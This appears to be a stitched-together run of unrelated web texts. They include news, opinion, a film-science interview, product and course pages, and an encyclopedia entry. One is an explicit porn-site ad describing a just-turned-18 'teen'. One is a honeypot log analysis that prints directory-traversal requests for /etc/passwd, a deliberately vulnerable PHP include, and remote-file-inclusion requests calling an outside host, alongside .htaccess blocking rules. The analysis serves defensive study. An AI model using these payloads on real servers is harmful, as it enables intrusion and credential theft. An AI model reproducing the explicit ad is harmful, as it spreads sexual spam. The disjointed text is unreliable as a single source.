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Haute genitalia is what you'll find at Beijing's Guo-li-Zhuang restaurant, including schlongs of water buffaloes, deer dick juice (sour as lemon, apparently), and yak's "goods." Our ears (and maybe other things) perk up, but after so much international coverage, aren't we over it yet? BBC and Telegraph News both covered it in 2006, and earlier this week, there it was again in the Times of London travel section. Whoop-dee-doo, they serve groins on platters! Earlier this month, Andrew Zimmern also swung by the testicle emporium on his show, making the obligatory phallic jokes (un-funny ones too).
Exposing this long-standing Chinese culinary tradition is almost guaranteed to garner enough web buzz for most-emailed article status, potentially saving a frenzied newsroom. "Send another reporter to that penis restaurant, quick! Nobody is reading us!" And with the Beijing Olympics in August, we can assume to read a few more articles when foreign correspondents inevitably get desperate for non-sports-related human interest coverage in China.
If this topic interests you, please see the nine other Serious Eats related posts tagged with "penis." (Aside: Is this the most e-mailed story of the day yet?)
Erin Zimmer is a new media analyst who frequently writes for Washingtonian, DCist, and other D.C. publications.
All products linked here have been independently selected by our editors. We may earn a commission on purchases, as described in our affiliate policy.


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LIVE: Fate of scores of hostages in Algeria unclear
Algeria's state news service says about 60 foreign hostages remain unaccounted for in the standoff with Islamist militants now entering its third day.
The report also says special forces have resumed negotiations after an assault Thursday at the natural gas facility in the Sahara in eastern Algeria.
Here is a live update of developments:
12:08 p.m. ET: Algerians who were freed by Algerian troops on Thursday were debriefed in Algiers after being flown out of the isolated desert facility, the French magazine Le Point reports.
The magazine says the Algerian witnesses told the authorities that the kidnappers arrived in a pickup at around 5:30 p.m. Wednesday, killing a company employe at the gate as well as two other people.
The Algerians said there were between 18 and 30 mlitants, mostly Africans and Saharan Algerians, along with two foreigners, one French and one northern European. The latter, according to one witness, was called "Norwegian" by the kidnappers.
The witnesses reported that the captors held them at gunpoint using Kalashnikovs, rocket launchers and explosives.
According to their statements, the Algerians were separated from the rest of the hostages, who were described as mostly Japanese. They said the Algerians were kept inside the facility and the foreigners were taken outside.
The witnesses reported that at least seven hostages were killed by terorrists. In addition, they said, 30 Algerians who were unable to flee when the soldiers swept in were killed.
11:42 a.m. ET: A French hostage tells Europe 1 that he hid under his bed for 40 hours before he was rescued by Algerian soldiers.
Alexandre Berceraux, an employee of CIS Catering at the gas complex, says the initial attack by militants caught everyone by surprise.
"I heard an enormous amount of gunfire. The alarm telling us to stay where we were was going off. I didn't know if it was a drill or if it was real," he tells Europe 1. "Nobody expected this. The site was protected. There were soldiers in place."
"I had a bit of food, a bit to drink; I didn't know how long it would last," Berceraux says.
He was rescued Thursday by men, dressed in green, that he believed to be Algerian soldiers.
"I saw some of my colleagues with them, otherwise I would never have emerged," he says.
He says three British men hid in a drop ceiling in the restaurant storeroom. He said soldiers also rescued a Scottish man, who had been injured, and a Frenchman, from the room.
11:31 a.m. ET:According to Le Monde, Radio France Internationale (RFI) and France 24, citing Algerian authorities, report that a new attack is in progress involving "7 to 10 assailants" who are holed up in an engine room with weapons and explosives and are threatening "to blow everything up." The report says that gas to the platform has been cut off as a precaution.
11:22 a.m. ET: The number of hostages still being held remains unclear. Reuters reports that about 60 foreigners are still being held hostage by Islamist militants at the gas plant, while the state Algeria Press Service says more than 100 of 132 foreign hostages have been freed, according to the AP.
10:23 a.m. ET: The Algerian newspaper Al Watan says a militant commando captured by Algerian special forces told them under "enhanced interrogation" that 32 militants were involved in the initial attack, the French newspaper Le Mondereports.
10:12 a.m. ET: The Mauritanian ANI news agency says the militants who took over the gas facility say they are demanding the release of Egyptian Sheikh Omar Abdel-Rahman and Pakistani Aafia Siddiqui from U.S. jails. The agency reports that the militants plan to release a video outlining the offer.
9:29 a.m. ET: The French news agency AFP, citing the Algerian national agency APS, says the kidnappers have proposed to exchange hostages for Islamist prisoners held in the United States.
9:19 a.m. ET: The British Foreign Office and Norwegian Foreign Minister Espen Barth Eide say they believe the hostage standoff is continuing. "Parts of the plant are under Algerian authorities' control, and other parts are not. This information is changing by the hour," tells the BBC.


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Since we process applications on a rolling admissions basis, it is always advantageous to apply early - as applications are submitted and become complete, we will review them and make admissions and financial aid decisions. The application is now live, but we will not begin reviewing completed applications until September 2. Our first deadline is not until October 15, so you have plenty of time to get ready. Here is your quick checklist:
1) Request an official copy of any transcript you have from an undergraduate or graduate institution where you received any credit. A scanned or electronic copy of an official transcript is all you need to submit for application review purposes.
2) Register to take the GMAT or the GRE. The GMAT is still our preferred test for the MBA program if you have not yet taken either test; however, we will accept the GRE and you will not be at any disadvantage if you choose to take the GRE.
3) Request individuals to serve as your references. We require TWO letters of recommendation yet request THREE if you think you will be qualified to receive the highest levels of merit-based aid. We prefer letters of recommendation from current or previous supervisors, followed by letters from colleagues, clients, professors, or anyone you may work with on a professional board or community organization.
4) Update your resume.
5) Start thinking about and drafting your essays.
6) International students only - register for the TOEFL or IELTS.
Stay tuned for more advice on application requirements in upcoming posts!


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If Gov. Brown's measure to temporarily raise taxes on the wealthy fails on Nov. 6, blame the boy who cried wolf.
The most recent Public Policy Institute of California survey on Proposition 30 finds support from 48 percent of the voters, with 44 percent opposed; 8 percent remain uncommitted.
That's too slim a margin to count on - and it's getting slimmer by the day.
U.S. & World
News from around the country and around the globe
The proposition is intended to rescue California's woefully underfunded public education from complete demise.
If passed, it would raise between $6 billion and $7 billion annually for the next seven years through hikes in personal income taxes for those earning more than $250,000 over the full seven year period and a quarter cent increase in the state sales tax for four years.
Yet, absent a last minute turn-around, defeat is much more likely than victory.
Four factors seem to account for the voters' doubts.
First, California's economy, although in recovery, is still hurting with unemployment above 10 percent. For those in the middle class and below, the thought of even adding to the sales tax may be too much to bear.
Second, anti-tax opponents have spent a bundle to defeat the proposal, stoking voter doubts in the process.
Third, Molly Munger's competing proposal, Proposition 38, has split the pro-public education community and further confused the voters.
Fourth, and perhaps most important, the voters don't trust the claims that defeat of Proposition 30 will lead to schools closing three weeks early and further truncation of higher education institutions.
How many times have we seen out-of-whack budgets become miraculously "balanced" at the last minute?
There's no reason for people to think that this time will be any different. But it will be different. Governor Brown has said that the cuts will be put in place immediately.
We all know the childhood story of the little boy who falsely cried wolf again and again to the dismay of angry villagers who rushed to his rescue every time.
Of course, when a wolf really did appear, no one responded to the boy's screams.
Perhaps the defeat of Proposition 30 will convince the people that this time the wolf is here.
California is already ranked 47th in per capita public education spending, community college capacity has dropped by 20 percent, and the two state university systems are charging more and accommodating fewer students.
If the villagers don't show up, the price we ultimately pay will be costly to us all.


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If you are a disease geek, then yes, you will love Contagion, the all-star Oh God Oh God We're All Going To Die movie that opened last night. Paramyxovirus! R-nought! BSL-4! And, bonus, so many insider references to the CDC that the script could double as an epidemiology drinking game. (Go to the end of this post for my fact-check of CDC references. They're spoilery and thus hidden on the next page.)
To me, the fascinating thing about Contagion is how seriously it takes its epidemiology, its virology and even its sober sense of how unprepared most Americans are for a mass-casualty disaster (as captured in this April report from the National Biosurveillance Advisory Committee).
To find out where those came from, I asked its chief science adviser: Dr. W. Ian Lipkin, who is the John Snow Professor of Epidemiology, and Director of the Center for Infection and Immunity, at Columbia University's Mailman School of Public Health, dubbed a "master virus-hunter" by master science-writer Carl Zimmer in the New York Times. Here's our email Q & A.
Maryn: Given past "science" movies – **Outbreak*, for instance – I was surprised that the science in this movie is so solid. Was this your doing, and how did you manage it?*
**Lipkin: Scott Z. Burns and Steven Soderbergh insisted that Contagion be firmly grounded in fact. You won't see footnotes; nonetheless, choices were carefully researched and vetted. Actors met with people whose work they represented in laboratories and the field. Where feasible we used bona fide equipment in lab scenes. My colleagues and I were on set for critical scenes to address questions from Soderbergh, actors and other artists, or to help with dialogue or makeup on the fly. We want viewers to understand and appreciate what is needed to protect them and their loved ones. Contagion is a work of fiction but it's based on fact not fantasy.
M: You and your Columbia colleagues designed the viral villain and its syndrome. Why did you choose what you did?
L: [The fictional] MEV-1 is a paramyxovirus that infects the lungs and the brain. It was modeled on Nipah virus because we wanted something more interesting cinematically than an agent that causes only respiratory distress. We do a lot of work on Nipah surveillance in Bangladesh and have produced immunological therapeutics that we hope will be effective in preventing or ameliorating the effects of Nipah encephalitis. I can't exclude the possibility that influenced my thinking; nonetheless, the choice was perfect in that it gave us a link to bats and pigs as well as an interesting clinical presentation. We considered casting other viruses but this was the best.
M: While MEV-1 is the actual bad actor, the movie has a second villain: the corrupt blogger specifically, and more generally both the Internet and the traditional media. Can you expand on how important it is to address the spread of fear and rumor along with viral spread?
L: People like [Jude Law's character] Alan Krumwiede can be dangerous as well as exploitative. They prey on our fears, consume precious resources and may discourage us from pursuing real solutions. On more than one occasion I've heard Steven Soderbergh lament the fact that there is no vaccine against stupidity. Perhaps Contagion is that vaccine. If it is, I expect the studio will remind us of the importance of booster shots at regular intervals.
M: There's an interesting contrast in the film between what civilian characters say about the epidemic – several times, we hear "You public health people were wrong about H1N1" – and how severe MEV-1 eventually becomes: large-scale quarantine, breakdown of food delivery, mass graves. Did you mean to send a message, that this is what preparedness really looks like?
L: Hope for the best, prepare for the worst. One of the sad facts of public health is that if we do our jobs well no one sees us. How many of us are prepared for an earthquake, fire, or other disaster with water, batteries or even an emergency contact plan for loved ones?
M: Warner Bros. has sold this pretty simply as a horror-thriller. What are the issues you want people to take away from this movie and think about afterward?
L: The Royal Astronomer, Martin Rees, predicts that a serious biological threat will emerge to claim at least one million lives by 2020. Only time will tell whether he's right or wrong. Nonetheless, I'm appreciative that he has focused the thinking of many influential people on the need for preparedness. Support for science and public health is eroding just when we need it most.
And now: Spoilers! Click through to the next page for a quick run-down on what's real and what's fictional in Contagion's science-studded script.
Imaginary Superbug Reader: Sweet: Gwyneth Paltrow dies. Is that realistic?
Maryn: After the excesses of GOOP, we can only hope. Kidding! She develops a fever and cough, she goes all neurological, and she dies ugly, in a couple of days. As Lipkin says above, the fictional MEV-1 (the name is never explained, but presumably it stands for MeningoEncephalitis Virus – meningoencephalitis, inflammation of the brain and its covering, can cause fever, tremor and convulsions) is based in part on real-life Nipahvirus, which was identified in 1999. Nipah does cause fever and headache leading to coma, but in 14-16 days, not four.
ISR: Is that really the CDC on-screen?
M: Mostly yes. The deck where (CDC division chief) Laurence Fishburne parks and the stone wall he stands next to while talking to (janitor) John Hawkes are the actual outside of Building 19, which houses the CDC's Visitor Center. The giant video screens in front of which Fishburne is interrupted by (Department of Homeland Security official) Enrico Colantoni is the actual Bldg. 19 lobby, and the driveway late in the film where Fishburne has to thread his way through a riot is the actual CDC front gate. CDC insiders tell me though that the EOC, where Fishburne meets up with (Rear Admiral Haggerty) Bryan Cranston, is a set that precisely reproduces the actual EOC.
ISR: About that acronym – what's with the alphabet soup?
M: OK, quick primer:
- EOC: the CDC's Emergency Operations Center, its post-SARS war room.
- BSL-4: "biosafety level" 4 on a scale of 1 to 4 – the highest level of laboratory containment, used for highly infectious organisms for which there is no vaccine or treatment, including the fictional MEV-1.
- SOHCO: Single Overriding Health Communication Objective, the top-level message that public health people strive to impart in every communication with the public.
- R-0 (pr. "R-nought"): Shorthand for the "reproductive number," or number of cases of disease that are caused by a single case; when the reproductive number is determined, the appropriate numeral is subbed out for the 0. As in, I have flu, I give it to you, you have flu: Voila, R-1.
- EISO: Epidemic Intelligence Service Officer, a member of the CDC's crack corps of young disease detectives, who serve for two years immediately after finishing medical residency or post-graduate fellowship, or finishing a Ph.D.
ISR: Gwyneth Paltrow's character brings the illness back to Minneapolis, and then Fishburne sends ** EISO (ooh, I feel all insidery!) Kate Winslet to work with the Minnesota Department of Health – who seem kind of jerky. Real?
M: Not real – in fact, probably a public-health joke. Minnesota may be the top health department in the country and routinely solves outbreaks on behalf of other, less well-funded states.
ISR: And then Winslet dies on the job. Has that ever happened?
M: Fortunately, not yet. The only EISO to die in the line of duty was Paul Schnitker, who was on assignment to the relief operations for the Biafran famine when his small plane was shot down in 1968. No EISO has ever been fatally infected by an organism he or she was investigating. (If they've caught something minor such as a foodborne illness, they're not fessing up.)
ISR: In the last scenes, we see where MEV-1 came from: Paltrow's company cleared a forest, disturbing a colony of bats; a bat lands in a palm tree and eats a piece of fruit; it flies away with the fruit and drops it into a pig pen; one of the piglets eats the fruit; and then the piglet ends up being butchered by a chef in the casino where Paltrow is gambling. In the last shot, she shakes hands with him. Real?
M: Very – in fact, matches thefield investigations for Nipah virus, except the trees in that scenario were date palms.
ISR:* So, bottom line: If this really happened, we'd be fine, right? In the movie, millions of people die, but within about 4 months, a vaccine is being distributed worldwide.*
M: And that's probably the movie's biggest fictional misfire. In reality, identifying a new virus, formulating a vaccine through 57 separate formulas, mounting human trials, getting it approved by national health authorities and then getting it manufactured, shipped around the world and shot into arms or noses would take much longer. If anything like MEV-1 – or any truly novel organism – ever emerges, the vaccine cavalry will take a long, long time to arrive.


text: Meet Pixie Pillows a young cutie who recently turned 18 and what to make all the guys of the world cum watching her do her thing. Come watch sweet Pixie play with her huge tits or pose for you in her hot panties while getting her pussy nice and wet for you. She's enjoys pulling her panties to the side to show you her hot and wet teen pussy and her huge all natural tits. PixiesPillows.com is where you're going to find this cutie doing everything to get your cock hard and erupting!


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Previous Lecture
Complete and continue
No Pulling Allowed
A message from your instructor. (2:35)
The Fun Focus Play Training Method (10:36)
Week 1 - Introducing the Fun | Focus | Play Training Method
Why dog training is like learning to play an instrument (1:53)
It's all in the rewards. (10:39)
What Motivates Your Dog? (6:17)
Why do dogs pull on the lead? (2:31)
The No Pressure Game (5:17)
Week 2 - Getting Ready For Action
Does it really matter whether I use collar, harness or headcollar and lead? (2:11)
How to introduce a head collar (6:06)
The Harness Shaping Game (6:05)
Week 3 - Before The Walk
Why you need a calm dog before the walk starts (2:13)
Preparing for the walk
The Calmness Protocol (3:53)
The Power of Choice (3:11)
The Choice Game (11:39)
Week 4 - Focus Is Everything
Your focus when training your dog (1:35)
Close Focus VS Forward Focus (1:42)
The Name Game (3:24)
All Eyes On Me Game (10:06)
Week 5 - Watch This Watch That
Encouraging calmness at home and on the walk
The Check Back Game (2:06)
Distraction Mark Reward (4:28)
Week 6 - Sticking Together
Becoming the centre of your dog's universe (3:09)
Grandma's Rule (2:11)
Close to Me (6:04)
The Ball Launcher Game (2:59)
Putting it all together (7:07)
The Three Week Training Plan PDF
All Eyes On Me Game
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text:
36in x 300ft 24lb Premium Coated Inkjet Bond (2 rolls)
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Magellan® 24 lb premium coated inkjet bond paper combines water-resistant inkjet coating along with high quality base paper to produce a strong, smooth printing surface ideally suited for many types of high volume CAD and graphic applications. This truly superior coating is optimized for HP, Epson and similar printers using dye and pigmented ink systems. Waterproof image, crisp lines, dense black and vivid colors combined with fast dry time are only a few of benefits you get when you choose Magellan paper.
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Features & Benefits:
The water-resistant feature is ideal for shortterm poster, banner and signage applications. This revolutionary coating accepts heavy ink saturation and dries quickly which improves productivity. It works on just about any printer and ink type allowing you more printing applications.
Market Applications: CAD Printing, Indoor Signs, Point-of-Purchase Displays, Screen Printing, Wall Hangings, Displays


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Women's Bible Study
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Nancy Tucker - October 26, 2016
Lesson 3: Colossians 1:9-12a
Scripture References: Colossians 1:9-12
From Series: "Mystery Hidden for Ages, Revealed - A Study of Colossians"
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FIXING OUR EYES ON JESUS is our 2019-2020 study and is based on the book of Hebrews. Click INFORMATION & REGISTRATION to get all the details and forms.
The goal of Women's Bible Study is to help women meet Jesus through the study of God's Word. Our desire is to see women grow in their faith — transformed more and more into the likeness of Jesus Christ. Each week, the women study the Bible on their own (using questions provided), attend a lecture followed by a discussion of the questions in a small group setting. Lectures are held at a verity of times; Wednesday mornings (childcare up to age 5 is provided), Wednesday evenings, Friday mornings, and Sunday mornings. from September through May. WBS is open to women of all ages, and visitors are always welcome.
The Spring semester started January 15 and continues through April 26. Each semester costs $15.00. Payment can be made when you check-in on the first day or can be made when you Register for Spring 2020 WBS or on this website at this LINK or go to the "GIVE" button at the top of the page. If the cost is a financial hardship, just donate what you can, but come!


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In this post I will talk about the HTTP results that I collected from the experience with one honeypot.
As you may know, I've been putting one honeypot running for 5 weeks. I've previously talked about SMTP and SSH attacks, now is the time for HTTP. This service (port 80) is by far the most fustigated service in the honeypot. And make sense, in this port we can have a lot of Web services with a lot of exploitable code running…
This chart represents the number of hit's in the port 80, that our honeypot had during his activity:
Open Proxy's
An open proxy is like an Open mail relay, described in SMTP attacks. Anyone in the internet can use this systems to reduce their using of the bandwidth. For example, if an open proxy is located in your country, and if your internet provider only allow you to access web pages of your country, you can use this systems to visit outside pages.
The process is quite simple, if you are under a proxy and you want a web page, the proxy go get them for you and send that to you. All the traffic and effort was made by the proxy. Is just like a forwarding service.
Here at the University we have one closed proxy, and that is great, because a lot of pages are in cache, so even we have a 1Gb connection, the proxy don't need to get the page we want, because have it in the cache.
The webcollage is a program that seeks the Internet images and composes them in a window. Some have described as a pop culture program. This program makes random web searches and extract the images of the results.
There was a host that has make some hit's in our honeypot's, as we can see in the following extract from the file web.log:
--MARK--,"Mon Dec 15 23:09:00 WET 2008","IIS/HTTP","184.108.40.206","192.168.1.50",56886,80, "GET http://www.morgangirl.com/pics/land/land1.jpg HTTP/1.0 User-Agent: webcollage/1.135a Referer: http://random.yahoo.com/fast/ryl Host: www.morgangirl.com ", --ENDMARK--
The interesting here is that this agent is trying to get an image using our honeypot as a open proxy. The possibilities is that our honeypot as been seen by a proxy scanner in the past that have add our honeypot to an open proxy list.
We can do something, if this had happened for real. We can block the IP that made the request (184.108.40.206) to avoid future requests by this host. But the problem is not from this person who is using a program to get the images. The problem here is that we are targeted as an open proxy, and probably in the future we will be asked again to get some file.
A more comprehensive solution is to block all the requests made from this program. Adding this lines to the file ".htaccess" in the folder.
# Start of .htaccess change. RewriteEngine On RewriteCond %{HTTP_USER_AGENT} ^webcollage RewriteRule ^.*$ - [F] # End of .htaccess change.
This won't prevent all the attempts to use our server as open proxy, but will prevent all the requests made by this program.
Directory traversal
A directory traversal attacks intend to exploit insufficient security validation of user-supplied input file names. The main objective of this attack is gain access to a computer file that is not intended to be accessible.
I will give you the Wikipedia example:
Imagine you have this PHP script running in your server, and this page have the name vulnerable.php:
<?php $template = 'blue.php'; if ( isset( $_COOKIE['TEMPLATE'] ) ) $template = $_COOKIE['TEMPLATE']; include ( "/home/users/phpguru/templates/" . $template ); ?>
If someone send you this request:
GET /vulnerable.php HTTP/1.0 Cookie: TEMPLATE=../../../../../../../../../etc/passwd
Your server will return your /etc/passwd file, in the response:
HTTP/1.0 200 OK Content-Type: text/html Server: Apache root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh daemon:*:1:1::/tmp: phpguru:f8fk3j1OIf31.:182:100:Admin:/home/users/phpguru/:/bin/csh
We have seen a lot of variations of this attack, as will show you after.
On 4 January 2009 dozens of hit's were made from Lelystad, The Netherlands. These hit's were performed to verify if our HTTP server allow directory traversal, to get the file /etc/passwd by the attacker.
In this case, the attacker wanted to acquire the /etc/passwd to perhaps have a list of the users that can access to the system. To possibly get access through any of them.
This type of attack is usually done not asking directly for the file through its conventional path, but in an encrypted way (using exa characters). With that variations it is more unlikely that the application perform validations on what the attacker wants.
Unfortunately our honeypot, not saved the log file's during the day January 1 until 4, so we only can see in the other's log's the activity performed by this host. We cannot show the number of hit's of this IP in day 4.
In the following listings I will show the pairs of command that the attacker wanted to do and the package that came to our honeypot.
GET ../../../../../../../../../../etc/passwd HTTP/1.1
--MARK--,"Sun Jan 4 05:20:57 WET 2009","IIS/HTTP","22.214.171.124","192.168.1.50",59706,80, "GET %2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd HTTP/1.1 User-Agent: Nmap NSE Connection: close Host: 188.8.131.52 ", --ENDMARK--
GET .../../../../../../../../../../etc/passwd HTTP/1.1
--MARK--,"Sun Jan 4 05:20:58 WET 2009","IIS/HTTP","18.104.22.168","192.168.1.50",59711,80, "GET %2E%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd HTTP/1.1 User-Agent: Nmap NSE Connection: close Host: 126.96.36.199 ", --ENDMARK--
GET ../../../../../../../../../../etc/passwd HTTP/1.1
--MARK--,"Sun Jan 4 05:21:02 WET 2009","IIS/HTTP","22.214.171.124","192.168.1.50",59727,80, "GET %2E%2E%5C%2F%2E%2E%5C%2F%2E%2E%5C%2F%2E%2E%5C%2F%2E%2E%5C%2F%2E%2E%5C%2F%2E%2E%5C%2F%2E%2E%5C%2F%2E%2E%5C%2F%2E%2E%5C%2Fetc%5C%2Fpasswd HTTP/1.1 User-Agent: Nmap NSE Connection: close Host: 184.108.40.206 ", --ENDMARK--
GET ....................etcpasswd HTTP/1.1
--MARK--,"Sun Jan 4 05:21:04 WET 2009","IIS/HTTP","184.108.40.206","192.168.1.50",59740,80, "GET %2E%2E%5C%2E%2E%5C%2E%2E%5C%2E%2E%5C%2E%2E%5C%2E%2E%5C%2E%2E%5C%2E%2E%5C%2E%2E%5C%2E%2E%5Cetc%5Cpasswd HTTP/1.1 User-Agent: Nmap NSE Connection: close Host: 220.127.116.11 ", --ENDMARK--
GET //etc/passwd HTTP/1.1
--MARK--,"Sun Jan 4 05:20:59 WET 2009","IIS/HTTP","184.108.40.206","192.168.1.50",59700,80, "GET %2F%2Fetc%2Fpasswd HTTP/1.1 User-Agent: Nmap NSE Connection: close Host: 18.104.22.168 ", --ENDMARK--
Possibly an attacker trying to do this in a real server would get the file he wanted, but our honeypot was not prepared to
respond to such attacks, and it only responds with a message 302:
HTTP/1.1 302 Object moved Server: Microsoft-IIS/5.0 P3P: CP='ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI' Date: Sab Jan 10 21:46:17 WET 2009 Content-Type: text/html Connection: close Accept-Ranges: bytes Set-Cookie: isHuman=Y; path=/ Set-Cookie: visits=1; expires=; path=/ Set-Cookie: ASPSESSIONIDCBBABCDC=DEADBEDFBDFCCEBBBA; path=/ Expires: Sab Jan 10 21:46:17 WET 2009 Cache-control: private <title>Object moved</title>
Object Moved
This object may be found here.
We can conclude that the requests that were sent to our honeypot mean that the attacker was using the NSE, which means nmap scripting engine. This is a tool that comes with nmap.
Allows the user to write scripts to automate various tasks in the network.
Here we can see the script that was used to perform this attack.
Morfeus Fucking Scanner (MFS)
MFS is a scanner that search web pages with PHP vulnerabilities. This scanner has a large number of tests for known vulnerabilities in PHP scripts. Then we show some of those applications that MFS search for vulnerabilities.
The WebCalendar is a web calendar that can be used by one or more users, it is possible to create groups with calendars and it supports a wide range of databases.
This application uses several PHP files, one of those id send_reminder.php that contained serious vulnerabilities, one of which allowed the inclusion of remote files through variable "includedir" that was not validated. So anyone can add whatever he want on this page.
We found that this vulnerability only affects WebCalendar version 1.0.4, this application has now in version 1.2.
While our honeypot not have this application installed, although there were made some attempts to attacks on this application, two of them over the vulnerability of this file, as the log show's.
--MARK--,"Wed Dec 24 16:07:29 WET 2008","IIS/HTTP","18.104.22.168","192.168.1.50",54941,80, "GET /webcalendar/tools/send_reminders.php?noSet=0&includedir=http://18.104.22.168/twiki/a.gif?/ HTTP/1.1 Accept: */* Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Morfeus Fucking Scanner Host: 184.108.40.206 Connection: Close ", --ENDMARK--
--MARK--,"Wed Dec 24 16:07:30 WET 2008","IIS/HTTP","188.8.131.52","192.168.1.50",55003,80, "GET /calendar/tools/send_reminders.php?noSet=0&includedir=http://184.108.40.206/twiki/a.gif?/ HTTP/1.1 Accept: */* Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Morfeus Fucking Scanner Host: 184.108.40.206 Connection: Close ", --ENDMARK--
This scanner (MFS) scans a list of hosts and attempts to link up several times until the server be attacked.
In our case this type of request on port 80 only returns a 404 error.
The gif file that the attacker wants to include just print a message:
echo (" Morfeus hacked you ");
Although this file has been fixed in this application, the truth is that this scanner continues to include this as a test. The reason for this is that still have many applications with this vulnerability exposed on the Internet.
The CMS Mambo is very popular and used worldwide. The Joomla is a derivative of the first one. In this applications have been discovered many bugs, MFS seems to use some of them. We saw one in particular:
--MARK--,"Wed Dec 24 16:07:34 WET 2008","IIS/HTTP","220.127.116.11","192.168.1.50",55438,80, "GET /shop/index.php?option=com_registration&task=register//boutique/index2.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=http://126.96.36.199/twiki/a.gif?/ HTTP/1.1 Accept: */* Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Morfeus Fucking Scanner Host: 22.214.171.124 Connection: Close ", --ENDMARK--
The attacker wants to set the variable mosConfig_absolute_path from the file index.php with the typical message that has already explained above. What we find is that the input passed to this file in not validated before being used to include files.
This system can be victim of one attack by allowing run code from any source without ever make payable checks.
Prevent attacks from MFS
One way to block this type of attacks from MFS is to add the following lines of code in file. "htaccess" in the folder of the website.
# Start of .htaccess change. RewriteEngine On RewriteCond %{HTTP_USER_AGENT} ^Morfeus RewriteRule ^.*$ - [F] # End of .htaccess change.
Note that the ".htaccess" solutions that I gave only works for HTTP servers that use Apache. Users of IIS can use the IsapiRewrite tool.
- Directory traversal Wikipedia entry


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Ctenophoratĭnŏf´ərə [key], a small phylum of exclusively marine, invertebrate animals, commonly known as comb jellies. Because they are so delicate that specimens are difficult to collect, little was known about them until the advent of blue-water scuba and submersible collecting. Ctenophores are characterized by eight rows consisting of ciliated plates called ctenes (combs), which are radially arranged on the spherical body surface. The animals swim weakly, powered by those structures. The two hemispheres of the ctenophore body are marked by a mouth, or oral pole, on the underside, and an opposite aboral pole, on which is located the statocyst, a unique sense organ controlling equilibrium. Most ctenophores resemble biradially symmetrical (see symmetry, biological) jellyfish (phylum Cnidaria) but lack the cnidarian whorl of tentacles around the mouth. They lack the specialized stinging cells (nematocysts) found in coelenterates, but one species ( Haeckelia rubra) incorporates those of its jellyfish prey for its own defense. Ctenophores, which are all carnivorous, have specialized adhesive cells called colloblasts, used to capture planktonic animals on which the ctenophores feed. Approximately 50 species are known, but many become locally abundant and are ecologically significant. They vary from less than 1⁄4 in. (0.6 cm) to over 1 ft (30.5 cm) long. Most are transparent, but pale pinks, reds, violets, and oranges are also known in some species. Most ctenophores are also bioluminescent, the production of light originating in the walls of the eight canals. Most ctenostomes are hermaphrodites, developing through a cydippid larval stage to adults. They can also regenerate lost parts.
Sections in this article:
- Introduction
- Class Tentaculata
- Class Nuda
The Columbia Electronic Encyclopedia, 6th ed. Copyright © 2012, Columbia University Press. All rights reserved.
See more Encyclopedia articles on: Zoology: Invertebrates


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The Journal of Pension Economics and Finance (JPEF), the only academic journal focusing on the economics and finance of pensions and retirement income programs, announces a new editorial structure and a broadening of its mission effective January 2010. Since 2002, the JPEF has provided an invaluable and influential forum for original research and international policy debate in the pensions area.
Demographic aging and tumultuous capital markets are challenging the future of retirement around the globe. The JPEF will lead the way in exploring what these factors imply for retirement security and pension sustainability, and in demonstrating which new models will ensure resiliency in retirement systems. JPEF publishes original research papers; it also offers an Issues & Policy section with reviews of the state of debate on pension policies around the world. In addition, the journal includes reviews on publications of key interest to its readers. Another major objective of the JPEF, which is co-sponsored by the International Organisation of Pension Supervisors (IOPS) and the Organisation of Economic Co-operation and Development (OECD), is to strengthen further the dialogue between the academic community and pension and financial policymakers, regulators and supervisors.
The journal will now be guided by three Senior Editors: Lans Bovenberg (Netspar, the Netherlands), Olivia S. Mitchell (NBER/Wharton, US), and Mike Orszag (Watson Wyatt Worldwide) and the current Managing Editor, André Laboul (OECD and IOPS). The new Editors, who select referees and make editorial decisions, include Monika Bütler (University of St. Gallen, Switzerland), Courtney Coile (NBER/Wellesley College, US), Steve Haberman (Cass Business School, UK), Joshua Rauh (NBER/Kellogg/Northwestern, US), Arthur van Soest (Tilburg, the Netherlands), Scott Weisbenner (NBER/University of Illinois, US), and Juan Yermo (OECD) who will be the lead editor for the Issues & Policy section. John Piggott (UNSW, Australia) will serve as Book Review. A new Editorial Board will serve as a pool of referees and advisors to the Editors.
JPEF will continue to cover topics in retirement security including pension fund management, microeconomics of retirement finance, retirement system regulation, and pensions and labour markets. The new Editors will also broaden the journal's mission to include more pension-related research on macroeconomic and political economy topics, microeconometric analysis of labor and capital markets (including health and retirement issues), and behavioral and experimental work (including financial and health literacy). The journal will continue to reach out to actuaries who meld economics/finance approaches with actuarial science.
The JPEF will also seek to include literature surveys and 'think pieces' on issues of relevance to the pension economics/finance audience (e.g. the role for indexed bonds, annuity puzzles, reverse mortgages, the impact of health, and intergenerational risk sharing). The new Editors will strive to maintain the Journal's excellent turnaround time for papers submitted to be refereed. Currently the average time from submission to first decision is just over a month. JPEF is now included in the Social Science Citation Index as of 7(1):2008. The Journal will receive its first Impact Factor rating in 2010.
For subscriptions and further information, see http://journals.cambridge.org/action/displayJournal?jid=PEF or email firstname.lastname@example.com
Related Documents


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For Jeff Barkdoll, Penn State York's new baseball coach, the sport is about more than winning. Barkdoll took over the head coaching position this year and has already helped organize some experiences for the team that haven't happened in the past. The York team traveled to Florida during spring break and was able to get in five games and practices that wouldn't have happened with the severe winter that hit Pennsylvania this year.
Barkdoll's passion for baseball comes from a true love of the game, thanks to the great experiences, lifelong friends he's made, and the many life lessons learned while playing and coaching. For him, the head coach position at York was just the ticket.
"I have had the privilege of coaching at various levels and I have always tried to display my personal love of the game and share the positive experiences in a way that perhaps ignites the same in younger players, so they too grow from the game as I did," said Barkdoll. "When this position was presented to me, I was immediately interested as it provides the opportunity to do just that and to teach the game, while at the same time perhaps to continue the process of building a strong baseball team."
